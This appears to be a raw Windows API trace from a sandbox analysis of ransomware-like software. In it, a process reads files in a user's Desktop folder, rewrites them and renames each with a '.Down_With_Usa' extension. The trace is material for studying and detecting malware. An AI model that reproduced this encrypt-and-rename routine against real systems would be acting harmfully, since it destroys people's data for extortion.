[0115.276] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f118a30, ftCreationTime.dwHighDateTime=0x1d5d7c5, ftLastAccessTime.dwLowDateTime=0xb700b0e0, ftLastAccessTime.dwHighDateTime=0x1d5e2ed, ftLastWriteTime.dwLowDateTime=0xb700b0e0, ftLastWriteTime.dwHighDateTime=0x1d5e2ed, nFileSizeHigh=0x0, nFileSizeLow=0x1bd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="sGus9MqEj6Yk560bB0dL.odp", cAlternateFileName="SGUS9M~1.ODP")) returned 1
[0115.277] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52073bd0, ftCreationTime.dwHighDateTime=0x1d5d840, ftLastAccessTime.dwLowDateTime=0x2b4b4f0, ftLastAccessTime.dwHighDateTime=0x1d5e325, ftLastWriteTime.dwLowDateTime=0x2b4b4f0, ftLastWriteTime.dwHighDateTime=0x1d5e325, nFileSizeHigh=0x0, nFileSizeLow=0x11fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="U-IuASDYwxO3fbK.bmp", cAlternateFileName="U-IUAS~1.BMP")) returned 1
[0115.277] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52073bd0, ftCreationTime.dwHighDateTime=0x1d5d840, ftLastAccessTime.dwLowDateTime=0x2b4b4f0, ftLastAccessTime.dwHighDateTime=0x1d5e325, ftLastWriteTime.dwLowDateTime=0x2b4b4f0, ftLastWriteTime.dwHighDateTime=0x1d5e325, nFileSizeHigh=0x0, nFileSizeLow=0x11fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="U-IuASDYwxO3fbK.bmp", cAlternateFileName="U-IUAS~1.BMP")) returned 0
[0115.278] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0115.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb4d0) returned 1
[0115.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb490) returned 1
[0115.278] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\L1xhTDw2symjMs6.gif", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\L1xhTDw2symjMs6.gif", lpFilePart=0x0) returned 0x52
[0115.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0115.278] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\L1xhTDw2symjMs6.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\l1xhtdw2symjms6.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0115.279] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0xc83e
[0115.279] ReadFile (in: hFile=0x3a8, lpBuffer=0x26e7aa0, nNumberOfBytesToRead=0xc83e, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x26e7aa0*, lpNumberOfBytesRead=0x2eb358*=0xc83e, lpOverlapped=0x0) returned 1
[0115.313] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\L1xhTDw2symjMs6.gif", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\L1xhTDw2symjMs6.gif", lpFilePart=0x0) returned 0x52
[0115.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0115.313] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\L1xhTDw2symjMs6.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\l1xhtdw2symjms6.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0115.320] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\L1xhTDw2symjMs6.gif", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\L1xhTDw2symjMs6.gif", lpFilePart=0x0) returned 0x52
[0115.320] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\L1xhTDw2symjMs6.gif.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\L1xhTDw2symjMs6.gif.Down_With_Usa", lpFilePart=0x0) returned 0x60
[0115.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0115.320] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\L1xhTDw2symjMs6.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\l1xhtdw2symjms6.gif"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d40960, ftCreationTime.dwHighDateTime=0x1d5df8a, ftLastAccessTime.dwLowDateTime=0x2fbffb00, ftLastAccessTime.dwHighDateTime=0x1d5e413, ftLastWriteTime.dwLowDateTime=0x2137b7e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xc840)) returned 1
[0115.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0115.320] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\L1xhTDw2symjMs6.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\l1xhtdw2symjms6.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\L1xhTDw2symjMs6.gif.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\l1xhtdw2symjms6.gif.down_with_usa")) returned 1
[0115.321] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\lxTY6pYbupq64XtDTn.bmp", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\lxTY6pYbupq64XtDTn.bmp", lpFilePart=0x0) returned 0x55
[0115.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0115.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\lxTY6pYbupq64XtDTn.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\lxty6pybupq64xtdtn.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0115.322] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0xedfb
[0115.328] ReadFile (in: hFile=0x3a8, lpBuffer=0x25fe7c8, nNumberOfBytesToRead=0xedfb, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x25fe7c8*, lpNumberOfBytesRead=0x2eb358*=0xedfb, lpOverlapped=0x0) returned 1
[0115.363] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\lxTY6pYbupq64XtDTn.bmp", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\lxTY6pYbupq64XtDTn.bmp", lpFilePart=0x0) returned 0x55
[0115.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0115.363] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\lxTY6pYbupq64XtDTn.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\lxty6pybupq64xtdtn.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0115.367] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\lxTY6pYbupq64XtDTn.bmp", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\lxTY6pYbupq64XtDTn.bmp", lpFilePart=0x0) returned 0x55
[0115.368] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\lxTY6pYbupq64XtDTn.bmp.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\lxTY6pYbupq64XtDTn.bmp.Down_With_Usa", lpFilePart=0x0) returned 0x63
[0115.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0115.368] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\lxTY6pYbupq64XtDTn.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\lxty6pybupq64xtdtn.bmp"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x387b08c0, ftCreationTime.dwHighDateTime=0x1d5e67f, ftLastAccessTime.dwLowDateTime=0xfd41a030, ftLastAccessTime.dwHighDateTime=0x1d5dcdc, ftLastWriteTime.dwLowDateTime=0x213edc00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xee00)) returned 1
[0115.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0115.368] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\lxTY6pYbupq64XtDTn.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\lxty6pybupq64xtdtn.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\lxTY6pYbupq64XtDTn.bmp.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\lxty6pybupq64xtdtn.bmp.down_with_usa")) returned 1
[0115.369] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\mN-HG.bmp", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\mN-HG.bmp", lpFilePart=0x0) returned 0x48
[0115.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0115.369] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\mN-HG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\mn-hg.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0115.369] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x10ff8
[0115.369] ReadFile (in: hFile=0x3a8, lpBuffer=0x2725f60, nNumberOfBytesToRead=0x10ff8, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x2725f60*, lpNumberOfBytesRead=0x2eb358*=0x10ff8, lpOverlapped=0x0) returned 1
[0115.408] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\mN-HG.bmp", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\mN-HG.bmp", lpFilePart=0x0) returned 0x48
[0115.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0115.409] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\mN-HG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\mn-hg.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0115.413] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\mN-HG.bmp", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\mN-HG.bmp", lpFilePart=0x0) returned 0x48
[0115.413] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\mN-HG.bmp.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\mN-HG.bmp.Down_With_Usa", lpFilePart=0x0) returned 0x56
[0115.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0115.413] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\mN-HG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\mn-hg.bmp"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x339f5160, ftCreationTime.dwHighDateTime=0x1d5e7df, ftLastAccessTime.dwLowDateTime=0xd8f8f6b0, ftLastAccessTime.dwHighDateTime=0x1d5e565, ftLastWriteTime.dwLowDateTime=0x21460020, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
[0115.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0115.414] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\mN-HG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\mn-hg.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\mN-HG.bmp.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\mn-hg.bmp.down_with_usa")) returned 1
[0115.414] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\Pob6cI7Fkngn.swf", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\Pob6cI7Fkngn.swf", lpFilePart=0x0) returned 0x4f
[0115.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0115.415] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\Pob6cI7Fkngn.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\pob6ci7fkngn.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0115.415] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x140f2
[0115.415] ReadFile (in: hFile=0x3a8, lpBuffer=0x2667290, nNumberOfBytesToRead=0x140f2, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x2667290*, lpNumberOfBytesRead=0x2eb358*=0x140f2, lpOverlapped=0x0) returned 1
[0115.452] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\Pob6cI7Fkngn.swf", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\Pob6cI7Fkngn.swf", lpFilePart=0x0) returned 0x4f
[0115.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0115.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\Pob6cI7Fkngn.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\pob6ci7fkngn.swf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0115.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\Pob6cI7Fkngn.swf", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\Pob6cI7Fkngn.swf", lpFilePart=0x0) returned 0x4f
[0115.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\Pob6cI7Fkngn.swf.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\Pob6cI7Fkngn.swf.Down_With_Usa", lpFilePart=0x0) returned 0x5d
[0115.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0115.460] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\Pob6cI7Fkngn.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\pob6ci7fkngn.swf"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b9eb910, ftCreationTime.dwHighDateTime=0x1d5d921, ftLastAccessTime.dwLowDateTime=0x2837ce00, ftLastAccessTime.dwHighDateTime=0x1d5de30, ftLastWriteTime.dwLowDateTime=0x214d2440, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x14100)) returned 1
[0115.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0115.460] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\Pob6cI7Fkngn.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\pob6ci7fkngn.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\Pob6cI7Fkngn.swf.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\pob6ci7fkngn.swf.down_with_usa")) returned 1
[0115.461] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\sGus9MqEj6Yk560bB0dL.odp", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\sGus9MqEj6Yk560bB0dL.odp", lpFilePart=0x0) returned 0x57
[0115.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0115.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\sGus9MqEj6Yk560bB0dL.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\sgus9mqej6yk560bb0dl.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0115.462] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x1bd8
[0115.462] ReadFile (in: hFile=0x3a8, lpBuffer=0x27a3608, nNumberOfBytesToRead=0x1bd8, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x27a3608*, lpNumberOfBytesRead=0x2eb358*=0x1bd8, lpOverlapped=0x0) returned 1
[0115.539] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\sGus9MqEj6Yk560bB0dL.odp", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\sGus9MqEj6Yk560bB0dL.odp", lpFilePart=0x0) returned 0x57
[0115.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0115.539] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\sGus9MqEj6Yk560bB0dL.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\sgus9mqej6yk560bb0dl.odp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0115.546] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\sGus9MqEj6Yk560bB0dL.odp", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\sGus9MqEj6Yk560bB0dL.odp", lpFilePart=0x0) returned 0x57
[0115.546] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\sGus9MqEj6Yk560bB0dL.odp.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\sGus9MqEj6Yk560bB0dL.odp.Down_With_Usa", lpFilePart=0x0) returned 0x65
[0115.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0115.546] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\sGus9MqEj6Yk560bB0dL.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\sgus9mqej6yk560bb0dl.odp"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f118a30, ftCreationTime.dwHighDateTime=0x1d5d7c5, ftLastAccessTime.dwLowDateTime=0xb700b0e0, ftLastAccessTime.dwHighDateTime=0x1d5e2ed, ftLastWriteTime.dwLowDateTime=0x215b6c80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1be0)) returned 1
[0115.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
